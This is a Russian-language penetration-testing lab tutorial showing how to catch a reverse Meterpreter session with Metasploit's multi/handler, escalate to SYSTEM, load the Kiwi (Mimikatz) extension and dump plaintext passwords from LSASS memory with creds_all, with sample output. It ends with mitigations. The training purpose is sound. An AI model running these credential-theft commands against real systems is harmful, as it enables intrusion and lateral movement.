Использование Kiwi для извлечения паролей в открытом виде в Meterpreter

Kali LinuxBeginner
Практиковаться сейчас

Введение

На этапе пост-эксплуатации при тестировании на проникновение одной из основных целей является сбор учетных данных для бокового перемещения по сети. Meterpreter от Metasploit — это мощный пейлоад, который предоставляет интерактивную оболочку на скомпрометированной системе.

Одной из наиболее мощных функций Meterpreter является расширение Kiwi, которое представляет собой порт известного инструмента Mimikatz. Kiwi позволяет злоумышленникам извлекать пароли в открытом виде, хэши, PIN-коды и билеты Kerberos непосредственно из памяти целевой машины, в частности из процесса Local Security Authority Subsystem Service (LSASS).

В этой лаборатории вы научитесь загружать и использовать расширение Kiwi в сессии Meterpreter для дампа учетных данных с симулированной цели Windows.

Получение сессии Meterpreter с привилегиями SYSTEM на цели Windows

На этом шаге мы симулируем получение доступа к целевой машине. В реальном сценарии вы бы использовали эксплойт для доставки пейлоада. Здесь мы настроим слушатель (listener) с использованием консоли Metasploit Framework. Симулированная цель затем подключится к нашему слушателю, предоставив нам сессию Meterpreter.

Сначала запустите консоль Metasploit. Флаг -q позволяет запустить ее тихо, без отображения баннера.

msfconsole -q

Далее мы настроим слушатель для "захвата" входящего соединения от симулированной цели. Для этого мы используем модуль multi/handler.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Теперь запустите слушатель как фоновую задачу, используя exploit -j.

exploit -j

Через несколько мгновений будет создана сессия. Вы можете просмотреть активные сессии с помощью команды sessions.

sessions

Вы должны увидеть вывод, указывающий на активную сессию, похожий на этот:

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  WIN-TARGET\LabUser @ WIN-TARGET  127.0.0.1:4444 -> 127.0.0.1:54321 (...)

Теперь взаимодействуйте с сессией 1.

sessions -i 1

Ваш приглашение изменится на meterpreter >. Чтобы эффективно использовать Kiwi, нам нужен наивысший уровень привилегий — NT AUTHORITY\SYSTEM. Мы можем попытаться повысить наши привилегии с помощью команды getsystem.

getsystem

Вы должны увидеть сообщение ...got system. Проверьте свою новую личность, выполнив команду getuid.

getuid

Ожидаемый вывод должен быть следующим:

Server username: NT AUTHORITY\SYSTEM

Теперь у вас есть сессия Meterpreter с привилегиями SYSTEM, готовая к следующим шагам.

Загрузка расширения kiwi с помощью команды load kiwi

На этом шаге вы загрузите расширение Kiwi в вашу сессию Meterpreter. Meterpreter является модульным, и его расширения предоставляют дополнительную функциональность, которая не загружается по умолчанию, чтобы сохранить начальный пейлоад небольшим. Расширение Kiwi содержит все команды, необходимые для выполнения дампа учетных данных в стиле Mimikatz.

Из вашего приглашения meterpreter > используйте команду load для добавления расширения Kiwi.

load kiwi

Если команда выполнена успешно, Meterpreter подтвердит, что расширение было загружено.

Loading extension kiwi...Success.

После загрузки расширения Kiwi у вас теперь есть доступ к новому набору мощных команд для сбора учетных данных.

Просмотр доступных команд kiwi с помощью help

На этом шаге вы проверите доступность команд Kiwi. После загрузки любого расширения в Meterpreter вы можете использовать команду help для просмотра обновленного списка всех доступных команд. Это хорошая практика для подтверждения корректной загрузки расширения и ознакомления с новыми возможностями.

Из приглашения meterpreter > просто введите help.

help

Вывод будет представлять собой длинный список всех команд Meterpreter, сгруппированных по разделам. Прокрутите вывод, и вы должны найти новый раздел под названием "Kiwi Commands". Этот раздел перечисляет все функции, предоставляемые расширением Kiwi.

...
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_msv              Retrieve MSV credentials (parsed)
    creds_ssp              Retrieve SSP credentials (parsed)
    creds_tspkg            Retrieve TSPKG credentials (parsed)
    creds_wdigest          Retrieve WDigest credentials (parsed)
    dcsync                 Retrieve user account information via DCSync
    dcsync_ntlm            Retrieve user NTLM hash via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute a custom command
    lsa_dump_sam           Dump LSA SAM
    lsa_dump_secrets       Dump LSA secrets
    wifi_list              List wifi profiles/creds
    wifi_list_shared       List shared wifi profiles/creds
...

Как вы можете видеть, Kiwi добавляет множество мощных команд для взаимодействия с механизмами аутентификации Windows.

Дамп всех доступных учетных данных с помощью команды creds_all

На этом шаге вы выполните основную команду расширения Kiwi для дампа всех учетных данных, найденных в памяти. Команда creds_all представляет собой удобную обертку, которая одновременно запускает несколько различных модулей сбора учетных данных, нацеленных на различные пакеты аутентификации, такие как WDigest, Kerberos и MSV.

Помните, что для доступа к памяти процесса LSASS требуются привилегии SYSTEM, поэтому на первом шаге мы выполнили команду getsystem.

Из вашего приглашения meterpreter > выполните команду creds_all.

creds_all

Выполнение команды займет некоторое время, поскольку она анализирует процесс LSASS. Вывод будет подробным, показывая учетные данные, найденные для различных поставщиков. Ниже приведен пример того, что вы можете увидеть.

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    NTLM      WIN-TARGET  LabUser     (null)
0;99876     NTLM      WIN-TARGET  WIN-TARGET$ (null)

wdigest credentials
===================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    WDigest   WIN-TARGET  LabUser     P@ssword123!
0;99876     WDigest   WIN-TARGET  WIN-TARGET$ (null)

kerberos credentials
====================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
0;99876     Kerberos  WIN-TARGET  WIN-TARGET$ (null)
...

Вы успешно выполнили дамп учетных данных из памяти целевой системы. Следующий шаг — анализ этого вывода.

Анализ вывода на предмет паролей в открытом виде

На этом заключительном шаге вы проанализируете вывод команды creds_all для выявления паролей в открытом виде. Возможность находить учетные данные в открытом тексте делает такие инструменты, как Kiwi и Mimikatz, настолько мощными для бокового перемещения.

Просмотрите вывод, полученный на предыдущем шаге. Данные организованы по пакетам аутентификации:

  • msv: Этот пакет обрабатывает стандартную аутентификацию NTLM. Обычно он предоставляет хэши паролей, а не пароли в открытом виде, если только пользователь недавно не входил в систему интерактивно.
  • wdigest: В старых системах Windows или в системах, где он явно включен, WDigest хранит в памяти обратимо зашифрованную копию пароля пользователя. Kiwi может легко расшифровать ее, раскрывая пароль в открытом виде. Это часто самый ценный раздел.
  • kerberos: Этот пакет управляет билетами Kerberos. Подобно WDigest, он также может кэшировать пароли в открытом виде для вошедших пользователей.
  • ssp и tspkg: Эти пакеты обрабатывают учетные данные для других служб, таких как подключения к удаленному рабочему столу.

В примере вывода из предыдущего шага вы можете четко увидеть пароль в открытом виде для пользователя LabUser как в разделах wdigest, так и kerberos:

wdigest credentials
===================
...
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
...

kerberos credentials
====================
...
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
...

Тщательно изучая вывод и ища значения, отличные от (null), в столбце Password, вы можете собрать ценные учетные данные. Эта информация затем может быть использована для доступа к другим системам или службам от имени этого пользователя.

Резюме

В этой лабораторной работе вы успешно выполнили классический метод пост-эксплуатации. Вы начали с получения сессии Meterpreter с привилегиями SYSTEM на симулированной цели Windows. Затем вы загрузили расширение Kiwi, которое интегрирует функциональность Mimikatz в Meterpreter.

Используя команду creds_all, вы извлекли учетные данные непосредственно из памяти процесса LSASS. Наконец, вы проанализировали вывод, чтобы извлечь пароль в открытом виде для вошедшего пользователя.

Это упражнение подчеркивает важность усиления безопасности конечных точек. Меры защиты от такого типа атак включают:

  • Отключение аутентификации WDigest.
  • Включение защиты LSA (RunAsPPL).
  • Реализация принципа наименьших привилегий для обеспечения того, чтобы пользователи и процессы не имели ненужных административных прав.

Теперь у вас есть практическое понимание того, как злоумышленники могут использовать дамп учетных данных в памяти для дальнейшего компрометирования сети.